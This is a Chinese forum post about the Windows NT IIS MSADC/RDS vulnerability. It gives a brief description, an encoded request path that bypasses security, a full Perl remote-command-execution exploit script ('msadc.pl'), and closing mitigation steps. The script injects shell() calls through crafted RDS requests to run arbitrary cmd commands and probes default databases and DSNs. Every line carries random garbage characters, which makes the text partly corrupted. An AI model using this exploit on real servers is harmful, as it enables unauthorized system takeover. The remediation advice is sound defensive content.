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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) hKZ`DB4  
L}jF#*Q%  
涉及程序: vG<pc_ak  
Microsoft NT server ?9gTk \s?R  
%V(N U_o  
描述: uJam $V  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 mhi90Jc  
pjHRV[`AP  
详细: D_n}p8blT  
如果你没有时间读详细内容的话,就删除: ZAX0n!db3  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ;64mf`  
有关的安全问题就没有了。 4]aiT8))  
0 oj{e9h  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 :9F''f$AP  
:IVk_[s  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 8hKP  
关于利用ODBC远程漏洞的描述,请参看: w*u{;v#  
8 ih;#I=q  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm pPyvR;NJ  
Q-8'?S  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 mYh5#E41J  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp %`?;V;{=  
?)' 2l6  
这里不再论述。 9XoQO9*Q  
p>:ef<.i  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: G=Hf&l  
t `Y!"l  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 8@ %mnyQ  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Zv|p>q`R2  
09 39i_  
hH1lgc  
#将下面这段保存为txt文件,然后: "perl -x 文件名" F?8BS*r_  
@ 2!C^}d3F  
#!perl .;HIEj zq  
# Cl6m$YUt  
# MSADC/RDS 'usage' (aka exploit) script B+Y5b5+wOQ  
# Z%+BWS3YqY  
# by rain.forest.puppy C1T=O  
# 7Y32p'  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 1 @%B?  
# beta test and find errors! BeI;#m0  
N~):c2Kp<9  
use Socket; use Getopt::Std; OpK. Lsd0y  
getopts("e:vd:h:XR", \%args); 8wII{FHX  
+:>JZ$  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; kYxl1n v  
rps(Jos_~  
if (!defined $args{h} && !defined $args{R}) { yOWOU`y?  
print qq~ =9pw uH  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Pknc[h},  
-h <host> = host you want to scan (ip or domain) |As2"1_f  
-d <seconds> = delay between calls, default 1 second T3Frc ]6,4  
-X = dump Index Server path table, if available SLtSqG7~  
-v = verbose MCk^Tp!  
-e = external dictionary file for step 5 n1*&%d'7  
?h!t$QQ!M  
Or a -R will resume a command session W}XYmF*_?  
`l>93A  
~; exit;} -=$% {  
d /B'[Ur  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; _)KY  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} mG831v?  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} $s-9|Lbs`  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); S~0JoCeo  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} v<;: 0  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } hojHbmm4  
|e*GzD  
if (!defined $args{R}){ $ret = &has_msadc; =2 &hQd   
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} g ?afX1Sg  
%5JW< 9  
print "Please type the NT commandline you want to run (cmd /c assumed):\n"  9<|m4  
. "cmd /c "; U_}7d"<| ?  
$in=<STDIN>; chomp $in; B(j02<-  
$command="cmd /c " . $in ; F#(.v7Za  
ch@x]@-;A3  
if (defined $args{R}) {&load; exit;} |JUe>E*  
>dpbCPJ9[  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; y(bsCsV&  
&try_btcustmr; yjEI/9_  
J=UZ){c>:.  
print "\nStep 2: Trying to make our own DSN..."; d5DP^u  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ! FNf>z+  
5x8'K7/4.  
print "\nStep 3: Trying known DSNs..."; Tu]&^[B('  
&known_dsn; ],8;eq%W)  
`gBD_0<T7  
print "\nStep 4: Trying known .mdbs..."; % f2<U;ff  
&known_mdb; iQt!PMF.  
b5A Gk  
if (defined $args{e}){ 2B7h9P.NB  
print "\nStep 5: Trying dictionary of DSN names..."; &*B>P>x  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } u8Y~_)\MA  
'#v71,  
print "Sorry Charley...maybe next time?\n"; K7IyCcdB  
exit; Kb}MF9?:e  
C"w,('~@kW  
############################################################################## GDF{Lf)/v  
NB E pM  
sub sendraw { # ripped and modded from whisker $ye^uu;Z  
sleep($delay); # it's a DoS on the server! At least on mine... c~P)4(udT  
my ($pstr)=@_; W_^>MLq  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || o2DtCU-A  
die("Socket problems\n"); jFtg.SD  
if(connect(S,pack "SnA4x8",2,80,$target)){ z@zD .  
select(S); $|=1; <^xfcYx\  
print $pstr; my @in=<S>; L 5+J ^  
select(STDOUT); close(S); U.: sK*  
return @in; Aj,]n>{  
} else { die("Can't connect...\n"); }} mc?';dEG  
a`#S|'oatC  
############################################################################## 0pD W _  
+%P t_  
sub make_header { # make the HTTP request Vo%Yf9C  
my $msadc=<<EOT *|mz_cKu  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 kLJlS,nh\r  
User-Agent: ACTIVEDATA wG+=}1X  
Host: $ip TMK'(6dH  
Content-Length: $clen yI8 SQ$w0y  
Connection: Keep-Alive J' W}7r  
n!a<:]b<  
ADCClientVersion:01.06 E *BSfn&i  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 W9dYljnZ8i  
[FGgkd}  
--!ADM!ROX!YOUR!WORLD! Y;} 2'"  
Content-Type: application/x-varg q0Xoj__c!A  
Content-Length: $reqlen _z q)0\  
c4\C[$  
EOT MU|{g 5/ )  
; $msadc=~s/\n/\r\n/g; Ls]@icH0  
return $msadc;} ?0{yq>fTu  
i^WIr h3a  
############################################################################## lzEb5mg  
W6vf=I@f  
sub make_req { # make the RDS request lWbZ=x_0  
my ($switch, $p1, $p2)=@_; *8PN!^  
my $req=""; my $t1, $t2, $query, $dsn; q/$ GE,"  
\^LWCp,C"  
if ($switch==1){ # this is the btcustmr.mdb query 1]j^d  
$query="Select * from Customers where City=" . make_shell(); > @+#  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . a5a1'IVq  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} !i^]UN   
}qAVN  
elsif ($switch==2){ # this is general make table query |Ab{H%  
$query="create table AZZ (B int, C varchar(10))"; ibXe"X/_  
$dsn="$p1";} Txo@ U  
c5("-xB  
elsif ($switch==3){ # this is general exploit table query i X%[YQ |  
$query="select * from AZZ where C=" . make_shell(); [EgW/\35  
$dsn="$p1";} g5y;?fqJ  
UFe(4]^  
elsif ($switch==4){ # attempt to hork file info from index server [Eu];  
$query="select path from scope()"; ltoqtB\s  
$dsn="Provider=MSIDXS;";} #|Oj]bd(=  
nd:E9:  
elsif ($switch==5){ # bad query 4}i*cB `  
$query="select"; H-(q#?:  
$dsn="$p1";} P/MM UmO  
~].ggcl`w  
$t1= make_unicode($query); sK&,):"]R  
$t2= make_unicode($dsn); X"j>=DEX  
$req = "\x02\x00\x03\x00"; JS!*2*Wr  
$req.= "\x08\x00" . pack ("S1", length($t1)); nLj&Uf&  
$req.= "\x00\x00" . $t1 ; @u/H8\.l  
$req.= "\x08\x00" . pack ("S1", length($t2)); yxwWj>c  
$req.= "\x00\x00" . $t2 ; o-z &7@3Hu  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; P? (vW&B  
return $req;} k9mi5Oc  
*_1[[~Aw  
############################################################################## @uM EXP  
\0ov[T N.>  
sub make_shell { # this makes the shell() statement !,Nwts>m  
return "'|shell(\"$command\")|'";} R"3 M[^  
v0#*X5C1'  
############################################################################## {oUAP1V^  
JO=1ivZl  
sub make_unicode { # quick little function to convert to unicode b}@(m$W  
my ($in)=@_; my $out; *tc{vtuu~^  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } %v{1# ~u  
return $out;} ,."b3wR[w  
F\:(*1C  
############################################################################## C#;@y|Rw  
R{?vQsLk  
sub rdo_success { # checks for RDO return success (this is kludge) jJBnDxsA  
my (@in) = @_; my $base=content_start(@in); ?gSSli[  
if($in[$base]=~/multipart\/mixed/){ R^%e1 KO]  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} +}a C-&  
return 0;} [ ]^X`R  
FRZs[\I|iT  
############################################################################## g$FEEDF  
{U"^UuU]  
sub make_dsn { # this makes a DSN for us Qf xH9_  
my @drives=("c","d","e","f"); d"ZU y!a  
print "\nMaking DSN: "; ;Lo&}U3F,!  
foreach $drive (@drives) { HI`q1m.  
print "$drive: "; dlDki.  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . so+4B1$)q  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" qaVy.  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ;:mu}  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; DG[%Nhle  
return 0 if $2 eq "404"; # not found/doesn't exist # ??%B  
if($2 eq "200") { PB9/m-\H  
foreach $line (@results) { oY=1C}  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 3A,rHYS  
} return 0;} he$XLTmr:  
X}cZxlqc  
############################################################################## }$kQs!#  
Puh$%;x  
sub verify_exists { aY)2eY  
my ($page)=@_; ;AIc?Cg  
my @results=sendraw("GET $page HTTP/1.0\n\n"); y&oNv xG-  
return $results[0];} B4ZIURciGz  
T6M+|"92  
############################################################################## S1J<9xqSQ8  
347eis'  
sub try_btcustmr { Quzo8 u  
my @drives=("c","d","e","f"); p $ouh  
my @dirs=("winnt","winnt35","winnt351","win","windows"); lA^+Flh  
,=BLnsg  
foreach $dir (@dirs) { .Cz %:%9  
print "$dir -> "; # fun status so you can see progress * R d#{Io7  
foreach $drive (@drives) { 2p!"p`b~  
print "$drive: "; # ditto aWy]9F&C:  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; z ;Q<F  
$reqlenlen=length( "$reqlen" ); 2i7e#  
$clen= 206 + $reqlenlen + $reqlen; ?La Ued'  
@Uo6>-W F  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); kKiA  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} L]d-33.c!H  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} k?6z_vu  
feX^~gM  
############################################################################## z@Hp,|Vy[  
[/ M`  
sub odbc_error { DmqSQA  
my (@in)=@_; my $base; U@F)2?  
my $base = content_start(@in); "TS  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this yT8=l"-[G  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; +jP~s  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; WYrI|^[>  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 6#e::GD  
return $in[$base+4].$in[$base+5].$in[$base+6];} YB,t0%vTJw  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Sw[{JB;y,  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ,Hn^z<f   
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} p'94SXO_  
d s:->+o  
############################################################################## 9GLb"6+PK  
[10zTU`  
sub verbose { en*d/>OVJ  
my ($in)=@_; o0It82?RN  
return if !$verbose; mXzrEI  
print STDOUT "\n$in\n";} ]; Wx  
o<i,*y88  
############################################################################## nBItO~l  
XORk!m|  
sub save { 51B lM%  
my ($p1, $p2, $p3, $p4)=@_; >[10H8~bI/  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; *|#T8t,}n  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; G?c-79]U  
close OUT;} "xJ0 vlw  
%9v@0}5V  
############################################################################## <Fz~7WVd  
#z'uRHx%=0  
sub load { Dw<k3zaW  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; +}xaQc:0|  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 9uk<&nqx  
@p=<IN>; close(IN); \]4v_!  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); *QGm/ /b  
$target= inet_aton($ip) || die("inet_aton problems"); *^%*o?M~  
print "Resuming to $ip ..."; zj{r^D$  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; {eS|j=  
if($p[1]==1) { MrRaU x6z  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 1.<q3q  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; _<c$)1  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); % ps$qB'  
if (rdo_success(@results)){print "Success!\n";} 'x"08v$  
else { print "failed\n"; verbose(odbc_error(@results));}} !h[VUg_8  
elsif ($p[1]==3){ XFVV},V  
if(run_query("$p[3]")){ lj=l4 &.i  
print "Success!\n";} else { print "failed\n"; }} >slm$~rv  
elsif ($p[1]==4){ 5Por "&%  
if(run_query($drvst . "$p[3]")){ ]b/S6oc6  
print "Success!\n"; } else { print "failed\n"; }} 5N[9 vW  
exit;} Z;l`YK^-  
[U@; \V$  
############################################################################## _ *f  
v *-0M  
sub create_table { @%ip7Y]e  
my ($in)=@_; PQN@JaD  
$reqlen=length( make_req(2,$in,"") ) - 28; +HT1ct+dI  
$reqlenlen=length( "$reqlen" ); -_ C#wtC  
$clen= 206 + $reqlenlen + $reqlen; 2 {Vcb  
my @results=sendraw(make_header() . make_req(2,$in,"")); M$4[)6Y  
return 1 if rdo_success(@results); }Z-Z|G)#  
my $temp= odbc_error(@results); verbose($temp); 7CXW#H  
return 1 if $temp=~/Table 'AZZ' already exists/; #|GSQJ$F)`  
return 0;} j^tW Iz  
39wa|:I  
############################################################################## sZ,Y60s8a  
L"jY+{oLIJ  
sub known_dsn { B.r4$:+jb2  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ($w@Z/;  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ~Nf})U  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 66x?A0P  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); $$APgj"|<  
".^VI2T  
foreach $dSn (@dsns) { _A13[Mt3  
print "."; m %;D  
next if (!is_access("DSN=$dSn")); DGW+>\G  
if(create_table("DSN=$dSn")){ &8.NT~"Gg  
print "$dSn successful\n"; 05yZad*  
if(run_query("DSN=$dSn")){ )SryDRT  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { W&(k!6<x  
print "Something's borked. Use verbose next time\n";}}} print "\n";} !-`Cp3gqHr  
*]hBGr#6  
############################################################################## 7 >iU1zy  
m7EcnQf  
sub is_access { E%oY7.~-  
my ($in)=@_; 6DG@?O  
$reqlen=length( make_req(5,$in,"") ) - 28; p'7*6bj1  
$reqlenlen=length( "$reqlen" ); e:H26SW  
$clen= 206 + $reqlenlen + $reqlen; bXUy9 -L  
my @results=sendraw(make_header() . make_req(5,$in,"")); p G1WXbqW  
my $temp= odbc_error(@results); _Z5Mw+=19  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); \`V;z~@iA  
return 0;} # mize  
H]4Hj  
############################################################################## KL$bqgc(p3  
^7zu<lX  
sub run_query { 1I@8A>2^OX  
my ($in)=@_; ['8!qr  
$reqlen=length( make_req(3,$in,"") ) - 28; _@S`5;4x  
$reqlenlen=length( "$reqlen" );  |@NiW\O  
$clen= 206 + $reqlenlen + $reqlen; ljl^ GFo  
my @results=sendraw(make_header() . make_req(3,$in,"")); @36u8pE  
return 1 if rdo_success(@results); z'T) =ycT  
my $temp= odbc_error(@results); verbose($temp); Zo1,1O  
return 0;} ,h"-  
T\~x.aH`^  
############################################################################## bR@p<;G|  
=X.LA%Sf=u  
sub known_mdb { Z{&cuo.@<]  
my @drives=("c","d","e","f","g"); [Nn`l,  
my @dirs=("winnt","winnt35","winnt351","win","windows"); X7k.zlH7T  
my $dir, $drive, $mdb; @(r /dZc  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";  N?Lb  
__mF ?m  
# this is sparse, because I don't know of many BIuK @$  
my @sysmdbs=( "\\catroot\\icatalog.mdb", \%UkSO\nO3  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",  V#VN %{  
"\\system32\\certmdb.mdb", 87hq{tTs]  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% &0f5:M{P  
vfVj=DYj  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 9z6XF]A  
"\\cfusion\\cfapps\\forums\\forums_.mdb", y;/VB,4V  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", dOa%9[  
"\\cfusion\\cfapps\\security\\realm_.mdb", jKt7M>P  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Eke5Nb  
"\\cfusion\\database\\cfexamples.mdb", |:8bNm5[  
"\\cfusion\\database\\cfsnippets.mdb", 2-Y<4'>  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ;b-XWK=  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", A}eOFu`  
"\\cfusion\\brighttiger\\database\\cleam.mdb", mI74x3 [  
"\\cfusion\\database\\smpolicy.mdb", SlsdqP 9  
"\\cfusion\\database\cypress.mdb", oudxm[/U  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", lNSLs"x^  
"\\website\\cgi-win\\dbsample.mdb", ,VO2a mI  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 8WnwQ%;m?  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" L3CP`cx  
); #these are just ZP{*.]Qu  
foreach $drive (@drives) { ~"A+G4jl  
foreach $dir (@dirs){ `OSN\"\ad  
foreach $mdb (@sysmdbs) { $ X q!L  
print "."; 1GzAG;UUo6  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ y5!KXAQ%  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; / m=HG^!  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ x7O-Y~[2  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; UX7t`l2R  
} else { print "Something's borked. Use verbose next time\n"; }}}}} |1j["u1  
F$)[kP,wtO  
foreach $drive (@drives) { | Bi!  
foreach $mdb (@mdbs) { G^ :C+/)  
print "."; l\i)$=d&g  
if(create_table($drv . $drive . $dir . $mdb)){ (+0v<uR^D  
print "\n" . $drive . $dir . $mdb . " successful\n"; >y"+ -7V)  
if(run_query($drv . $drive . $dir . $mdb)){ =>-Rnc@  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Mo^ od<  
} else { print "Something's borked. Use verbose next time\n"; }}}} -B +4+&{T  
} I_]^ .o1q  
^0Mt*e{q  
############################################################################## ]q4rlT.i  
50X([hIr  
sub hork_idx { @;"|@!l|  
print "\nAttempting to dump Index Server tables...\n"; 8i2n;LAz  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 9H]{g*kL  
$reqlen=length( make_req(4,"","") ) - 28; 7 qS""f7  
$reqlenlen=length( "$reqlen" ); _bNzXF  
$clen= 206 + $reqlenlen + $reqlen; 7Op>i,HZk\  
my @results=sendraw2(make_header() . make_req(4,"","")); >7 ="8  
if (rdo_success(@results)){ CB^U6ZS  
my $max=@results; my $c; my %d; @{2 5xTt  
for($c=19; $c<$max; $c++){ 0)gdB'9V_  
$results[$c]=~s/\x00//g; \kZ?  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; |:gf lseE  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ff^=Ruf$  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; W)bLSL]`E  
$d{"$1$2"}="";} ueUuJxq)  
foreach $c (keys %d){ print "$c\n"; } 7j-4TY~  
} else {print "Index server doesn't seem to be installed.\n"; }} {tWf  
^~etm  
############################################################################## ')cMiX\v  
9iQq.$A.  
sub dsn_dict { F%RRd/'  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); |!4K!_y  
while(<IN>){ 1eF3`  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; .6Pw|xu`Pw  
next if (!is_access("DSN=$dSn")); d$1@4r  
if(create_table("DSN=$dSn")){ ,5h)x"s  
print "$dSn successful\n"; I`!<9OTBj  
if(run_query("DSN=$dSn")){ DW[N|-L  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Vh4X%b$TV  
print "Something's borked. Use verbose next time\n";}}} BI%$c~wS  
print "\n"; close(IN);} H:V2[y8\  
*_d7E   
############################################################################## 8]9%*2"!  
;>Ib^ov  
sub sendraw2 { # ripped and modded from whisker @J/K-.r  
sleep($delay); # it's a DoS on the server! At least on mine... koug[5T5  
my ($pstr)=@_; ) AvN\sC  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || glDu2a,Q  
die("Socket problems\n"); 3ca (i/c  
if(connect(S,pack "SnA4x8",2,80,$target)){ {ttysQ-  
print "Connected. Getting data"; [D I+~F  
open(OUT,">raw.out"); my @in; ?82xdp g  
select(S); $|=1; print $pstr; >G25m'&,7  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} = %TWX[w  
close(OUT); select(STDOUT); close(S); return @in; |Y ,b?*UF  
} else { die("Can't connect...\n"); }} Hquc o  
bKMy|_  
############################################################################## Hx?;fl'G%  
X aMJDa|M  
sub content_start { # this will take in the server headers W_"sM0 w  
my (@in)=@_; my $c; g,!L$,/F  
for ($c=1;$c<500;$c++) { ?Lk)gO^C  
if($in[$c] =~/^\x0d\x0a/){ \"P%`  C  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } V2wb%;q  
else { return $c+1; }}} M/"I2m   
return -1;} # it should never get here actually s Z].8.  
r7%I n^k  
############################################################################## "ut39si  
z7fp#>uw  
sub funky { I 7{T  
my (@in)=@_; my $error=odbc_error(@in); #Lh;CSS  
if($error=~/ADO could not find the specified provider/){ *XIF)Q=<>  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; kaVxT_  
exit;} iv J@=pd)B  
if($error=~/A Handler is required/){ |v 3T!  
print "\nServer has custom handler filters (they most likely are patched)\n"; vdc\R?  
exit;} gCB |DY  
if($error=~/specified Handler has denied Access/){ x??+~$}\*-  
print "\nServer has custom handler filters (they most likely are patched)\n"; Swig;`  
exit;}} B|C2lu  
c(xrP/yOwi  
############################################################################## Ng2twfSl$  
pmyXLT  
sub has_msadc { 2K/4Rf0;  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); L [pBB  
my $base=content_start(@results); mn"G_I  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); K0|FY=#2y  
return 0;} 2*laAB  
#A JDWelD  
######################## 3u+T~g0^  
U:0mp"  
V^bwXr4f  
解决方案: 6 ob@[ @  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll p>v$FiV2N  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 61C7.EZZ;  
FpmM63$VN[  
拿出来充数 哈哈
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